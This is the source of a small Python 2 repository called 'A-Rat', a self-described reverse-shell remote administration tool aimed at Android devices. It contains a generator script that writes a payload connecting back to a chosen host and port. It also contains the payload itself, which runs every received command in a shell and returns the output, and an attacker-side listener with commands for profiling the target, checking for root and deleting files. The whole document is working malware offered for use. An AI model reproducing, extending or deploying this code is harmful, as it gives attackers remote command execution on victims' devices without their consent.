├── A-Rat.py ├── README.md └── modules ├── gen.sh ├── listener.py └── payload /A-Rat.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os, sys, subprocess 5 | from time import sleep 6 | os.system("clear") 7 | reload(sys) 8 | sys.setdefaultencoding("utf-8") 9 | 10 | host = " " 11 | port = " " 12 | output = " " 13 | 14 | def logo(): 15 | print(""" 16 | \t _____ ____ _____ _______ 17 | \t /$$$$$\ |$$$$\ /$$$$$\ $$$$$$$ 18 | \t |$ $| ____ |$ $| |$ $| $| 19 | \t |$$$$$| $$$$ |$$$$/ |$$$$$| $| 20 | \t |$ $| |$ $\ |$ $| $| 21 | \t |$ $| |$ $\ |$ $| $| 22 | 23 | \t [*] Versions : 1.0.0 24 | \t [*] Coded By ./Xi4u7 25 | \t [*] AndroSec1337 Cyber Team 26 | """) 27 | 28 | def help(): 29 | print(""" 30 | Commands : 31 | set HOST : Set Your Host (e.g set HOST 127.0.0.1) 32 | set PORT : Set Your Port (e.g set PORT 1337) 33 | set OUTPUT : Set Your Output Name And Path (e.g set OUTPUT /home/payload) 34 | show values : Show Host, Port And Output Value 35 | start listener : Start Your Conection Server 36 | 37 | Please Report This bug To My FB 38 | FB : https://m.facebook.com/sefina.dewi 39 | FP : https://m.facebook.com/androsec1337cyberteam\n""") 40 | 41 | def main(): 42 | global host, port, output 43 | 44 | while True: 45 | cmd = raw_input("[*] A-Rat@AndroSec1337:~# ").lower() 46 | 47 | if cmd == "help": 48 | help() 49 | 50 | elif cmd == 'banner': 51 | os.system("clear") 52 | logo() 53 | main() 54 | 55 | elif "clear" in cmd: 56 | os.system("clear") 57 | 58 | elif "set host" in cmd: 59 | host = cmd.split()[-1] 60 | 61 | elif "set port" in cmd: 62 | port = int(cmd.split()[-1]) 63 | 64 | elif "set output" in cmd: 65 | output = cmd.split()[-1] 66 | 67 | elif cmd == "show values": 68 | print "\n[+] HOST : %s\n[+] PORT : %s\n[+] OUTPUT : %s\n"%(host, port,output) 69 | 70 | elif cmd == "generate payload" or cmd == "generate": 71 | if host != " " and port != " " and output != " ": 72 | print("[+] Generating Payload . . .") 73 | sleep(1) 74 | print("[*] Using Configuration . . .\n |_ HOST : "+host+"\n |_ PORT : "+str(port)+"\n |_ OUTPUT : "+output) 75 | sleep(3) 76 | os.system("sh modules/gen.sh "+host+" "+str(port)+" "+output) 77 | print("[+] Generating Success . . .") 78 | sleep(1) 79 | main() 80 | else: 81 | print "\n[!] HOST : %s\n[!] PORT : %s\n[!] OUTPUT : %s\n"%(host,port,output) 82 | 83 | elif cmd == "start" or cmd == "run" or cmd == "start listener": 84 | if host != " " and port != " ": 85 | if os.name == "nt": 86 | subprocess.Popen([sys.executable, 'modules/listener.py', host, str(port)], creationflags=subprocess.CREATE_NEW_CONSOLE) 87 | else: 88 | os.system(sys.executable + " modules/listener.py %s %s"%(host, str(port))) 89 | else: 90 | print "\n[!] Host : %s\n[!] Port : %s\n"%(host,port) 91 | else: 92 | print("[!] Check Your Command . . .") 93 | main() 94 | 95 | def contol(): 96 | try: 97 | logo() 98 | main() 99 | except KeyboardInterrupt: 100 | print("\n[!] CTRL+C Detect Exiting Tools . . .") 101 | sleep(2) 102 | sys.exit() 103 | if __name__ == "__main__": 104 | contol() 105 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # A-Rat 2 | A-Rat ( Remote Administration Tools ) Based Reverse Shell Coded By ./Xi4u7 Use 'help' To Tutorial :) 3 | -------------------------------------------------------------------------------- /modules/gen.sh: -------------------------------------------------------------------------------- 1 | echo "import socket 2 | import subprocess 3 | import os 4 | 5 | s = socket.socket() 6 | s.connect(('$1', $2))" > $3 7 | cat modules/payload >> $3 -------------------------------------------------------------------------------- /modules/listener.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | from time import sleep 4 | 5 | host = sys.argv[1] 6 | port = int(sys.argv[2]) 7 | 8 | import socket 9 | import sys 10 | from time import sleep 11 | 12 | print("[+] Listeing on port "+str(port)) 13 | sleep(1) 14 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 15 | s.bind((host, port)) 16 | s.listen(5) 17 | print("[+] Waiting Connection From Client . . .") 18 | c, _ = s.accept() 19 | print('[*] Sessions Opened | ' + 'IP : ' + _[0] + ' | Port : ' + str(_[1])+'\n') 20 | sleep(2) 21 | def main(): 22 | while True: 23 | hosttt = _[0] 24 | cmd = raw_input('A-Rat@'+hosttt+':~# ') 25 | if cmd[0:5] == 'mkdir': 26 | c.send(cmd+' && pwd\n') 27 | c.recv(1024) 28 | 29 | elif cmd == 'meminfo': 30 | c.send('cat /proc/meminfo') 31 | print c.recv(1024) 32 | 33 | elif cmd == 'cpuinfo': 34 | c.send('cat /proc/cpuinfo') 35 | print c.recv(1024) 36 | 37 | elif cmd == 'crypto': 38 | c.send('cat /proc/crypto') 39 | print c.recv(10000) 40 | 41 | elif cmd == 'kernel_info': 42 | c.send(cmd) 43 | ab = c.recv(1024) 44 | print("\n[+] \033[37;1mKernel Version : "+ab) 45 | 46 | elif cmd == 'check_root': 47 | c.send('which su') 48 | a = c.recv(1024) 49 | if a == '\n/system/bin/su\n': 50 | print("\n[*] This Device Is Rooted . . .\n") 51 | else: 52 | print("\n[*] This Device Not Rooted . . .\n") 53 | 54 | elif cmd == 'su': 55 | print("\n[*] Command 'SU' Not Working . . .\n") 56 | main() 57 | 58 | elif cmd == 'check_partitions': 59 | c.send('cat /proc/partitions') 60 | print '' 61 | print c.recv(100000) 62 | 63 | elif cmd == 'help': 64 | print(""" 65 | kernel_info : Cek Kernel Version + Info 66 | mkdir : Create Directory On Target 67 | meminfo : Check Info Memory Target 68 | cpuinfo : Check Info CPU Target 69 | rm : Remove File On Target 70 | rmdir : Remove Folder On Target 71 | whoami : Check Name User Target 72 | crypto : Check Encoding On Target 73 | check_partitions : Check Info Partisi On Target 74 | """) 75 | 76 | elif cmd[0:2] == 'rm': 77 | c.send(cmd+' && pwd\n') 78 | c.recv(1024) 79 | 80 | elif cmd[0:5] == 'rmdir': 81 | c.send(cmd+' && pwd\n') 82 | c.recv(1024) 83 | 84 | elif cmd[0:6] == 'whoami': 85 | c.send('whoami') 86 | print c.recv(1024) 87 | 88 | elif cmd == '': 89 | main() 90 | 91 | else: 92 | 93 | c.send(cmd) 94 | results = c.recv(4096) 95 | if results == 'bacod': 96 | main() 97 | print results 98 | 99 | try: 100 | main() 101 | except KeyboardInterrupt: 102 | print("[!] CTRL+C Detect Shutdown Server . . .") 103 | sleep(2) 104 | sys.exit() 105 | except socket.error: 106 | print("[!] Client Clossed . . .") 107 | sleep(2) 108 | sys.exit() -------------------------------------------------------------------------------- /modules/payload: -------------------------------------------------------------------------------- 1 | 2 | while True: 3 | cmd = s.recv(1024) 4 | if cmd[:2] == 'cd': 5 | os.chdir(cmd[3:]) 6 | dir = os.getcwd() 7 | s.sendall('bacod') 8 | elif cmd == 'kernel_info': 9 | results = subprocess.Popen('cat /proc/version', shell=True, 10 | stdout=subprocess.PIPE, stderr=subprocess.PIPE, 11 | stdin=subprocess.PIPE) 12 | results = results.stdout.read() + results.stderr.read() 13 | 14 | s.sendall(results) 15 | 16 | else: 17 | results = subprocess.Popen(cmd, shell=True, 18 | stdout=subprocess.PIPE, stderr=subprocess.PIPE, 19 | stdin=subprocess.PIPE) 20 | results = results.stdout.read() + results.stderr.read() 21 | 22 | s.sendall('\n'+results) --------------------------------------------------------------------------------